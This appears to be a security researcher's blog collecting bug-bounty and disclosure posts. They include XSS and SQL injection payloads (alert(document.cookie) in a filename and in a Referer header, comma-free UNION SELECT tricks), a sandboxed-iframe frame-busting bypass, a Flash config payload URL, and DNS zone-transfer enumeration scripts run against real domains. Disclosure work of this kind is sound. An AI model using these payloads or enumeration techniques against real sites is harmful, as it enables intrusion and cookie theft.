[EN] Alcatel OneTouch Website - XSS & SQL Injection

SO - first thing is, that both bugs are really obvious...I can't belive they exist so long in official Alcatel One Touch website.

How to reproduce bug:
1) Go to http://alcatelonetouch.com website
2)  Search for bad'syntax or f<script>alert(1);</script>
3) Get alert or PHP Error (in case you're trying to exploit XSS or SQLi).

XSS:

SQLi:

I think this case is so basic, that it don't need to be explained.

Ok - now the funny part - timeline.

05/02/2013 - discovered the bug
06/02/2013 - contact using e-mail provided in WHOIS database
13/02/2013 - no response, contacted USSupport@tcl.com
11/03/2013 - mailed to Polish Alcatel-Lucent department with request of some contact info for my case
11/03/2013 - response from Alcatel-Lucent - forward me to TCL Communication
12/03/2013 - mail sent using official TCL contact form
13/03/2013 - after googlin' - found some employee working for TCL and contact info - sent mail.
29/04/2013 - no response - tried to contact using info.america@tcl.com
12/06/2013 - still no response, tried to contact with some sales managers, found on Alcatel website
28/06/2013 - Twitted @ALCATELONETOUCH about vuln and requested for contact informations
02/07/2013 - no response - another tweet.
04/07/2013 - stil no response - another tweet
08/07/2013 - ...and another ;)
09/07/2013 - everybody please, sit down - I've got first Alcatel response. It tells that I should contact using their Official Facebook.
09/07/2013 - Contacted using facebook.
10/07/2013 - Response that confirms, that informations about fact, that I found some issue in their website was sent to their "team".
10/07/2013 - Problem was, that I didn't provided any details about vulnerability, even what kind of issue it is ;) I asked if they need any details.
11/07/2013 - I sent really detailed advisory about vulnerability I found.
16/07/2013 - got response with confirmation of sharing my details with their tech team.
24/07/2013 - tried to get some other info - no response
07/08/2013 - ping -> no response.
27/09/2013 - not fixed -> Public Disclosure

Feel free to comment. :)

-- UPDATE --
At 12/11/2013 one of TCL IT Managers responsible for AlcatelOneTouch.com website contacted with me. We cooperated to fix this issues and from now on it's ok. :)

Yandex Bug Bounty - Multiple Vulnerabilities

Few weeks ago I reported few bugs as part of Yandex Bug Bounty Program. Check it out:

1) Cross-Site Flashing  - wordstat.yandex.com

Bug in ammap.swf, that allows us to use configuration files from external resources, modify Flash content and of course - abuse it. :)

This resource is removed at the moment, but here you have payload URL I used:

http://wordstat.yandex.com/flash/ammap/ammap.swf?settings_file=http://myhost/yandex.xml&data_file=http://myhost/evil_data.xml

Configuration files: yandex.xml oraz evil_data.xml

First - check the context menu and new option - 'Download users database from this region' ;)

After clicking - our "database" is prepared to download - information in bottom of site.

When progress is 100% - our payload is executed.

2) Stored XSS - Yandex Maps

I provided short PoC video:

3) Mixed-content - Yandex Video

This one wasn't rewarded and in fact - all modern browsers blocks mixed-content at the moment (also Firefox). Demonstration video just for education purposes and fun ;-)

Winiary Pomysł Na... - ominięcie Frame-Busting

Na pewno mieliście okazję spotkać się ze zjawiskiem takim jak Clickjacking. Obecnie chyba jedyną skuteczną metodą na zabezpieczenie przed tego typu atakami jest wysłanie nagłówka X-Frame-Options, dzięki któremu mamy możliwość kontrolować czy strona ma być załadowana w ramce czy nie. Innym spotykanym zabezpieczeniem jest tzw. Frame Busting. Podczas próby załadowania strony z takim zabezpieczeniem w ramce, następuje stosowna walidacja i przekierowanie strony nadrzędnej na tą, która próbuje być załadowana.

W tym poście przedstawię chyba mało odkrywczy, ale działający pomysł na ominięcie Frame Buster'a. Testowane na przeglądarce Google Chrome 28.0.1500.5-dev działającej pod Slackware Linux 14.0. Jako przykład posłuży strona popularnej stacji radiowej, która:

1. Nie stosuje X-Frame-Options
2. Używa Frame Bustingu:

if (window.parent.frames.length != 0) {
   window.parent.location = window.location;
  }

Z pomocą przyjdzie nam atrybut sandbox. Tutaj przykładowy fragment kodu, pozwalający na załadowanie strony http://eska.pl w ramce:

<iframe sandbox="allow-scripts allow-same-origin allow-forms" src="http://eska.pl" width="800">

Opcja, którą pominęliśmy allow-top-navigation. Dodana w atrybucie sandbox pozwoli na przekierowanie (czego nie chcemy). Jak widać - udało nam się osiągnąć cel:

[EN] DNS missing allow-transfer

Ten Post wyjątkowo będzie napisany w języku angielskim. Z góry przepraszam. :-)

Before we start pentesting it's always good to gather some information about our target. One thing which we'd like to know are additional resources - SQL servers, developers and test machines, backups, etc. For example, we can check PTR records (revDNS) for IP class (manually or using this tool). Sometimes, our target configures his zone without allow-transfer option, so anybody can download zone file in the same way as secondary DNS does.

There are multiple ways to do this. Using default available tools:

zoczekj@cojapache:~$ host -l tesco.pl ns4.czart.pl
Using domain server:
Name: ns4.czart.pl
Address: 194.8.14.2#53
Aliases: 

tesco.pl name server ns1.czart.pl.
tesco.pl name server ns2.czart.pl.
tesco.pl name server ns3.czart.pl.
tesco.pl name server ns4.czart.pl.
tesco.pl name server one.czart.pl.
tesco.pl name server crimson.czart.pl.
tesco.pl name server czartux.czart.pl.
tesco.pl has address 194.8.14.16
100sposobow-1.tesco.pl has address 193.221.122.60
100sposobow-2.tesco.pl has address 193.221.122.60

(...)

xfiles.tesco.pl has address 194.8.14.16
xfiles2.tesco.pl has address 194.8.14.29
zwierzaki.tesco.pl has address 194.8.14.16
admin.zwierzaki.tesco.pl has address 194.8.14.16

zoczus@jano:~$ dig @pri.authdns.ripe.net. ripe.net axfr | wc -l # this baby is huge one! ;-)
19626

..or using my perl script:

zoczus@jano:~$ zone wikipedia.org
Checking ns2.wikimedia.org... OK!
wikipedia.org. 86400 IN SOA ns0.wikimedia.org. hostmaster.wikimedia.org. (
     2013030122 ;serial
     43200      ;refresh
     7200       ;retry
     1209600    ;expire
     3600   ) ;minimum
wikipedia.org. 3600 IN A 208.80.152.201
wikipedia.org. 86400 IN NS ns0.wikimedia.org.
wikipedia.org. 86400 IN NS ns1.wikimedia.org.
wikipedia.org. 86400 IN NS ns2.wikimedia.org.
wikipedia.org. 3600 IN MX 50 lists.wikimedia.org.
wikipedia.org. 3600 IN MX 10 mchenry.wikimedia.org.
wikipedia.org. 3600 IN AAAA 2620:0:860:ed1a::1
aa.wikipedia.org. 3600 IN CNAME wikipedia-lb.wikimedia.org.
aa.m.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
aa.m.mobile.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
aa.m.wap.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
(...)
zu.wap.wikipedia.org. 3600 IN CNAME mobile-lb.eqiad.wikimedia.org.
zu.zero.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
zu.zero.mobile.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
zu.zero.wap.wikipedia.org. 3600 IN CNAME m.wikimedia.org.

It seems to be quite simple. Lot of servers are still configured in this way. It's neither a new method nor my discovery. This technique is widely known.

Ok - how about trying this with TLDs? I've used this list and small bash script:

zoczus@jano:~/tld$ cat check.sh 
#!/bin/bash
#
# (C) ZoczuS
###
if [ $# -lt 1 ]; then
        echo "Usage $0 tld-file-name";
        exit
fi

l=`cat $1 | wc -l`;
i=1;
while [ $i -le $l ]; do
        tld=`head -n $i $1 | tail -n 1`;
        echo "Checking for $tld";
        zone "$tld." > $tld
        i=$[i+1];
done
zoczus@jano:~/tld$ ./check.sh tld.txt
Checking for aero
Checking for asia
Checking for biz
Checking for cat
Checking for com
Checking for coop
Checking for info
Checking for int
Checking for jobs
Checking for mobi
Checking for museum
Checking for name
Checking for net
(...)
Checking for xn--q7ce6a
Checking for xn--mgbb7fyab
Checking for xn--kgbechtv
Checking for xn--hgbk6aj7f53bba
Checking for xn--0zwm56d
Checking for xn--g6w251d
Checking for xn--80akhbyknj4f
Checking for xn--11b5bs3a9aj6g
Checking for xn--jxalpdlp
Checking for xn--9t4b11yi5a
Checking for xn--deba0ad
Checking for xn--zckzah
Checking for xn--hlcj6aya9esc7a
Checking for arpa

zoczus@jano:~/tld$ grep 'OK!' * | awk -F: '{ print $1 }'
aero
an
ao
arpa
bb
bd
bi
bv
ci
cy
do
er
fo
ge
gp
gq
gt
gy
int
iq
kw
mc
mg
mo
mp
mw
ni
np
pf
pg
sj
sl
sv
to
uk
xn--9t4b11yi5a
xn--fzc2c9e2c
xn--j1amh
xn--jxalpdlp
xn--xkc2al3hye2a
xn--ygbi2ammx
xn--zckzah
ye
zw

zoczus@jano:~/tld$ grep "IN" * | wc -l
257202

Pretty cool, huh?

Stored XSS - Yandex Mail

Zgłoszony ponad dwa miesiące temu, dawno poprawiony - stored XSS w usłudze Yandex Mail objętej programem bug bounty.

Poniżej oryginalne zgłoszenie:

Hello there,

I just found an stored cross-site scripting vulnerability in Yandex.Mail. Here's a short info about reproduction of this bug: 

1) Victim gets mail with picture of sweet kitteh ;) attachment name is: 

kitteh<img src=a onerror=alert(document.cookie)>hhhh.jpg

2) As you can see - picture looks really cute - that's why victim decides to zoom it. After clicking the thumbnail - javascript code executes. 

I attached some screenshot. 

Waiting for feedback. 

Greetings,
Jakub Zoczek

SQL Injection without comma char

Ostatnio podczas testowania pewnej strony na podatność SQL Injection zostało na mnie - podejrzewam nieświadomie - nałożone sprytne ograniczenie w postaci braku możliwości wykorzystania przecinka. Prawdopodobnie był on kiedyś separatorem parametrów przekazywanych przez GET, jednak z tego co zaobserwowałem tylko jedna część brała udział w zapytaniu.

Pojawiają się dwa pytania - jak użyć funkcji, w których separatorem parametrów jest przecinek, oraz najważniejsze - jak zrobić union select? ;-) Jakby ktoś kiedyś potrzebował:

mysql> SELECT substr('test',1,1);
+--------------------+
| substr('test',1,1) |
+--------------------+
| t                  |
+--------------------+
1 row in set (0.00 sec)

mysql> SELECT substr('test' FROM 1 FOR 1);
+-----------------------------+
| substr('test' FROM 1 FOR 1) |
+-----------------------------+
| t                           |
+-----------------------------+
1 row in set (0.00 sec)

Klucz programu:

mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT null,user();
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b;
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

Have fun!

XSS in... Blogger ;-)

Dwa miesiące temu w ramach programu bug bounty Google znalazłem błąd stored XSS w usłudze Blogger, z której właśnie macie przyjemność korzystać :-) Celem wyjaśnienia - bo o tym nie wspomniałem - oczywiście chodzi o modyfikacje nagłówka Referer podczas wejścia na bloga. Poniżej treść oryginalnego zgłoszenia i screenshoty.


Hello there!

I'm happy to tell, that I just found cross-site scripting bug in your blogger service. 

When we put in Referer header something like this:

http://q-x.ath.cx/test'onclick="alert(document.cookie);"

And go to our blog page, our Statistic page will generate this kind of code:

<a target="_blank" href="http://q-x.ath.cx/test" onclick="alert(document.cookie);" '="">http://q-x.ath.cx/test'onclick="alert(document.cookie);"</a>
After clicking - we'll see alert :) You've got some screenshots in attachment.

Waiting for feedback, cheers!
Jakub Żoczek

Błąd oczywiście został błyskawicznie poprawiony.